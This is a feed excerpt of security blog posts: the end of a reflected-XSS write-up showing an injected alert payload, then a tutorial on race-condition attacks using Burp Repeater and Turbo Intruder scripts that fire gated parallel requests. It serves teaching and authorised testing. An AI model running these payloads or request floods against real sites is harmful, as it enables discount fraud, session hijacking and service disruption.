&lt;p&gt;When decoded, this payload injected an array mapping function that executed &lt;code&gt;alert(7)&lt;/code&gt;. The final vulnerable script looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="nx"&gt;Analytics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trackEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SEARCHRETURNED&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;&lt;span class="na"&gt;internalSearchTerm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;internalSearchTerm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;numOfSearchResultsReturned&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;numOfSearchResultsReturned&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;167&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fllmrsqv1a31b69fq19gq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fllmrsqv1a31b69fq19gq.png" alt=" " width="800" height="520"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This confirmed that the input was being executed as JavaScript in the browser.&lt;/p&gt;

&lt;h3&gt;
  
  
  Impact
&lt;/h3&gt;

&lt;p&gt;A successful exploit would allow an attacker to execute arbitrary JavaScript in the context of a victim’s browser session. This could lead to theft of cookies, session hijacking, or other malicious actions depending on the attacker’s goals.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;This case highlights the risks of directly embedding user-controlled input into JavaScript code without proper sanitization or encoding. Reflected XSS vulnerabilities are still common and can have serious consequences when exploited on high-profile sites. Proper input handling and output encoding remain essential defenses.&lt;/p&gt;




</description>
    </item>
    <item>
      <title>One Bug, Many Faces: Understanding Every Type of Race Condition Vulnerability</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Sat, 02 Aug 2025 06:42:37 +0000</pubDate>
      <link>https://forem.com/deoxys/one-bug-many-faces-understanding-every-type-of-race-condition-vulnerability-4po3</link>
      <guid>https://forem.com/deoxys/one-bug-many-faces-understanding-every-type-of-race-condition-vulnerability-4po3</guid>
      <description>&lt;h2&gt;
  
  
  What is Race Condition
&lt;/h2&gt;

&lt;p&gt;Imagine that you are planning to go to a movie at 5 pm. You inquire about the availability of the tickets at 4 pm. The representative says that they are available. You relax and reach the ticket window 30 minutes later, but then to your horror all the tickets get sold. The problem here was in the duration between the check and the action. You inquired at 4 and acted at 4:30. In the meantime, someone else grabbed the tickets. That's a race condition.&lt;/p&gt;

&lt;p&gt;Technically speaking, Race condition occurs when multiple threads read and write the same variable i.e. they have access to some shared data and they try to change it at the same time. In such a scenario threads are “racing” each other to access/change the data. This is a major security vulnerability where an attacker can extract sensitive information by exploiting the race window.&lt;/p&gt;

&lt;p&gt;In this blog we will be talking about race condition vulnerabilities in various web scenarios. Lessgoo&lt;/p&gt;




&lt;h2&gt;
  
  
  Limit Overrun race conditions
&lt;/h2&gt;

&lt;p&gt;its the most well known type of race condition which enable you to exceed any limit imposed by the business logic of the example. Lets take an example so that things can become more clear.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Consider an online store that lets you enter a promotional code during checkout to get a one-time discount on your order.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To apply this discount, the application may perform the following high-level steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Check that you haven't already used this code.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apply the discount to the order total.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update the record in the database to reflect the fact that you've now used this code.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you later attempt to reuse this code, the initial checks performed at the start of the process should prevent you from doing this&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy0utznangr8hq2zgcpfb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy0utznangr8hq2zgcpfb.png" alt=" " width="800" height="445"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now consider what would happen if a user who has never applied this discount code before tried to apply it twice at almost exactly the same time: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz0plo2u9vc3ulrk54004.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz0plo2u9vc3ulrk54004.png" alt=" " width="800" height="293"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see, the application transitions through a temporary sub-state; that is, a state that it enters and then exits again before request processing is complete. In this case, the sub-state begins when the server starts processing the first request, and ends when it updates the database to indicate that you've already used this code. This introduces a small race window during which you can repeatedly claim the discount as many times as you like. So by sending two parallel request at the same time we can exploit the race window and apply the discount code twice. Now imagine sending more than 2 of these parallel requests. The discounted code will get added up and ultimately you can buy the product at a very cheap price.&lt;/p&gt;

&lt;p&gt;The primary challenge is timing the requests so that at least two race windows line up, causing a collision. This window is often just milliseconds and can be even shorter. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8mayk4z2ff8onczrbyg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8mayk4z2ff8onczrbyg.png" alt=" " width="800" height="179"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Detecting and Exploiting Limit Overrun Race Conditions with Burp Suite
&lt;/h2&gt;

&lt;p&gt;Race condition vulnerabilities, particularly those involving business logic bypasses like limit overruns, are notoriously difficult to exploit reliably. The primary challenge lies in the extremely narrow timing window, often just a few milliseconds, during which two or more concurrent requests must be executed in near-perfect synchronization. Traditionally, this has required either precise scripting or specialized tools with limited visibility and flexibility.&lt;/p&gt;

&lt;p&gt;However, recent advancements in &lt;strong&gt;Burp Suite’s Repeater tool&lt;/strong&gt;—particularly the updates introduced in &lt;strong&gt;version 2023.9&lt;/strong&gt;—have significantly improved a pentester's ability to &lt;strong&gt;detect and exploit race conditions&lt;/strong&gt; with high precision.&lt;/p&gt;

&lt;h3&gt;
  
  
  Introducing Parallel Request Support in Burp Repeater
&lt;/h3&gt;

&lt;p&gt;Burp Repeater has historically been used for sending individual HTTP requests and analyzing responses. While invaluable for manual testing, it was previously limited in scenarios where &lt;strong&gt;concurrent request timing&lt;/strong&gt; was critical.&lt;/p&gt;

&lt;p&gt;With the 2023.9 update, Burp Repeater introduced &lt;strong&gt;parallel request execution&lt;/strong&gt;, allowing testers to send multiple, carefully crafted requests simultaneously. This functionality dramatically enhances the ability to exploit vulnerabilities that depend on &lt;strong&gt;precise timing&lt;/strong&gt;, such as race conditions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding the Role of Network Jitter
&lt;/h3&gt;

&lt;p&gt;Network &lt;strong&gt;jitter&lt;/strong&gt; refers to the variability in packet delay across a network. Even a high-speed connection can suffer from inconsistent delivery times, which significantly affects any exploit that depends on synchronized timing. In the context of race condition testing, jitter introduces unpredictability—causing well-timed requests to miss the race window entirely.&lt;/p&gt;

&lt;p&gt;To address this, Burp Suite introduced &lt;strong&gt;two protocol-specific synchronization strategies&lt;/strong&gt; aimed at minimizing the impact of jitter.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting Race Conditions over HTTP/1: The Last-Byte Synchronization Technique
&lt;/h2&gt;

&lt;p&gt;When testing a target that communicates over the &lt;strong&gt;HTTP/1 protocol&lt;/strong&gt;, Burp Repeater leverages a technique known as &lt;strong&gt;last-byte synchronization&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In this method:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multiple requests are prepared and transmitted up to the &lt;strong&gt;final byte&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;These partially sent requests are held in a queued state by the tool.&lt;/li&gt;
&lt;li&gt;At the precise moment, the final byte of each request is released simultaneously.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This ensures that all requests &lt;strong&gt;hit the server at the same time&lt;/strong&gt;, entering the same race window and maximizing the chance of triggering a vulnerability. The technique effectively removes jitter from the equation during the critical portion of the request transmission.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting Race Conditions over HTTP/2: The Single-Packet Attack
&lt;/h2&gt;

&lt;p&gt;In environments where the target application supports &lt;strong&gt;HTTP/2&lt;/strong&gt;, Burp Suite employs a more sophisticated approach known as the &lt;strong&gt;Single-Packet Attack&lt;/strong&gt;, which was first introduced at &lt;strong&gt;Black Hat 2023&lt;/strong&gt; by PortSwigger researchers.&lt;/p&gt;

&lt;p&gt;This technique involves:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Crafting &lt;strong&gt;multiple complete HTTP/2 requests&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Combining them into a &lt;strong&gt;single TCP packet&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Transmitting that single packet so that all embedded requests are processed by the server &lt;strong&gt;simultaneously&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The benefit of this method is that it &lt;strong&gt;eliminates the risk of jitter entirely&lt;/strong&gt;, as the server receives and processes all requests within the same network operation. It is particularly effective against modern web applications with asynchronous or multi-threaded backend processing, where subtle timing mismatches can otherwise prevent successful exploitation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implications for Limit Overrun Exploits
&lt;/h2&gt;

&lt;p&gt;When attempting to exploit &lt;strong&gt;limit overrun vulnerabilities&lt;/strong&gt;, the ability to synchronize requests at a granular level is critical. Whether you're:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Applying the same discount code multiple times&lt;/li&gt;
&lt;li&gt;Triggering concurrent withdrawals in a fintech application&lt;/li&gt;
&lt;li&gt;Circumventing resource allocation limits&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;these new techniques in Burp Suite significantly improve the likelihood of a successful exploit.&lt;/p&gt;

&lt;p&gt;By utilizing either &lt;strong&gt;last-byte synchronization (HTTP/1)&lt;/strong&gt; or the &lt;strong&gt;single-packet attack (HTTP/2)&lt;/strong&gt;, penetration testers can reliably enter the temporary sub-states that make race condition exploits possible.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fda4l08u4aydf99c4foj2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fda4l08u4aydf99c4foj2.png" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why send so many requests?
&lt;/h2&gt;

&lt;p&gt;You may think that race conditions can be easily exploited by 2 requests so why send 20-30 parallel requests at the same time. The reasons for this are-&lt;/p&gt;

&lt;p&gt;It overcomes &lt;strong&gt;server-side delays&lt;/strong&gt; (aka internal latency or server-side jitter)&lt;/p&gt;

&lt;p&gt;It &lt;strong&gt;increases your chances&lt;/strong&gt; of hitting the vulnerable timing&lt;/p&gt;

&lt;p&gt;Great during the &lt;strong&gt;recon/discovery phase&lt;/strong&gt; when you’re probing behavior and testing the race condition vulnerability&lt;/p&gt;

&lt;p&gt;basically the more requests you send the more your chances increase of hitting the sweet spot&lt;/p&gt;

&lt;p&gt;Let's take our previous example where we try to redeem coupons at the same time and and exploit the race condition &lt;/p&gt;

&lt;p&gt;Normally, jitter might cause one request to arrive too early or too late&lt;/p&gt;

&lt;p&gt;With Burp's new techniques, you can &lt;strong&gt;flood&lt;/strong&gt; the server with 30 simultaneous coupon redeems&lt;/p&gt;

&lt;p&gt;If the timing is right, the coupon might be used multiple times and then your &lt;strong&gt;vulnerability would be confirmed&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Turbo Intruder – The Fast Lane for Race Condition Attacks
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgoqte1z5k3eio5tvzrsh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgoqte1z5k3eio5tvzrsh.png" alt=" " width="317" height="159"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Turbo Intruder&lt;/strong&gt; is a powerful &lt;strong&gt;Burp Suite extension&lt;/strong&gt; designed for lightning-fast, customizable HTTP request attacks. Unlike the default Intruder tool, Turbo Intruder uses asynchronous I/O and optimized threading to send &lt;strong&gt;thousands of requests per second&lt;/strong&gt;, making it ideal for testing &lt;strong&gt;race conditions, brute-force attacks, token fuzzing,&lt;/strong&gt; and more.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Features:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Blazing Speed&lt;/strong&gt;: Far faster than Burp’s built-in Intruder, even in the Community Edition.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Python Scripting&lt;/strong&gt;: Full control over request generation and response handling using Jython.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Asynchronous Engine&lt;/strong&gt;: Efficiently handles massive concurrent connections.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Versatile Use Cases&lt;/strong&gt;: Race conditions, login brute-forcing, JWT tampering, SSRF detection, HTTP desync attacks, and more.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  How to Use:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Install from Burp's &lt;strong&gt;BApp Store&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Right-click any request → &lt;strong&gt;Send to Turbo Intruder&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Customize the pre-built Python script to define payloads, logic, and filtering.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Example Use Case:
&lt;/h3&gt;

&lt;p&gt;Detecting a race condition by sending 100 concurrent password reset requests in parallel.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;queueRequests&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wordlists&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;RequestEngine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                           &lt;span class="n"&gt;concurrentConnections&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                           &lt;span class="n"&gt;requestsPerConnection&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                           &lt;span class="n"&gt;pipeline&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;race&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handleResponse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;interesting&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Success&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Race condition triggered!&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Note:
&lt;/h4&gt;

&lt;p&gt;Use responsibly — Turbo Intruder can overwhelm or crash servers if misused. Always test within a legal scope.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using Turbo Intruder to Detect Race Condition Overruns
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Detecting Race Conditions with Single-Packet Attacks
&lt;/h3&gt;

&lt;p&gt;To detect overrun vulnerabilities caused by race conditions, Turbo Intruder supports a technique known as the &lt;strong&gt;single-packet attack&lt;/strong&gt;. This method involves grouping requests and sending them simultaneously within a single TCP packet, assuming the server supports HTTP/2.&lt;/p&gt;

&lt;h4&gt;
  
  
  Setup Instructions
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Ensure the target application supports HTTP/2, as the single-packet attack is not compatible with HTTP/1.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Configure the request engine to use the HTTP/2 backend with one concurrent connection:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;RequestEngine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
       &lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;concurrentConnections&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Engine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BURP2&lt;/span&gt;
   &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Queue multiple requests using a gate label. For example, queue 20 requests under gate &lt;code&gt;'1'&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
       &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Once queued, release all requests in the gate at once:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;openGate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This structure ensures that all 20 requests are sent in parallel within the same TCP packet, increasing the likelihood of triggering a race condition if one exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  Single endpoint race condition
&lt;/h2&gt;

&lt;p&gt;Sending parallel requests to a single endpoint can be really important in some cases, for example consider a password reset mechanism that stores the user ID and reset token in the user's session.&lt;/p&gt;

&lt;p&gt;In this scenario, sending two parallel password reset requests from the same session, but with two different usernames, could potentially cause the collision in password reset mechanism&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftvxj3mabgc2insbg02x8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftvxj3mabgc2insbg02x8.png" alt=" " width="800" height="369"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Methodology to follow to exploit race conditions
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0pdqf096jf802z2d9d1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0pdqf096jf802z2d9d1.png" alt=" " width="800" height="205"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Predict potential collisions
&lt;/h3&gt;

&lt;p&gt;Testing every endpoint is impractical. After mapping out the target site as normal, you can reduce the number of endpoints that you need to test by asking yourself the following questions:&lt;/p&gt;

&lt;p&gt;Is this endpoint security critical? Many endpoints don't touch critical functionality, so they're not worth testing.&lt;br&gt;
Is there any collision potential? For a successful collision, you typically need two or more requests that trigger operations on the same record. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fei5h6h6qtq7h34t2rqtu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fei5h6h6qtq7h34t2rqtu.png" alt=" " width="800" height="235"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Probe for clues(Race condition testing)
&lt;/h3&gt;

&lt;p&gt;First, understand how the endpoint behaves normally by sending a &lt;strong&gt;group of requests one after another&lt;/strong&gt; in &lt;strong&gt;sequence&lt;/strong&gt; using &lt;strong&gt;Burp Repeater&lt;/strong&gt;. This gives you a baseline.&lt;/p&gt;

&lt;p&gt;Next, send the &lt;strong&gt;same group of requests all at once&lt;/strong&gt; (in parallel) to simulate a race condition. This reduces network delay and may trigger unexpected behavior. Use &lt;strong&gt;"Send group in parallel"&lt;/strong&gt; in Burp Repeater or &lt;strong&gt;Turbo Intruder&lt;/strong&gt; for faster, more aggressive testing.&lt;/p&gt;

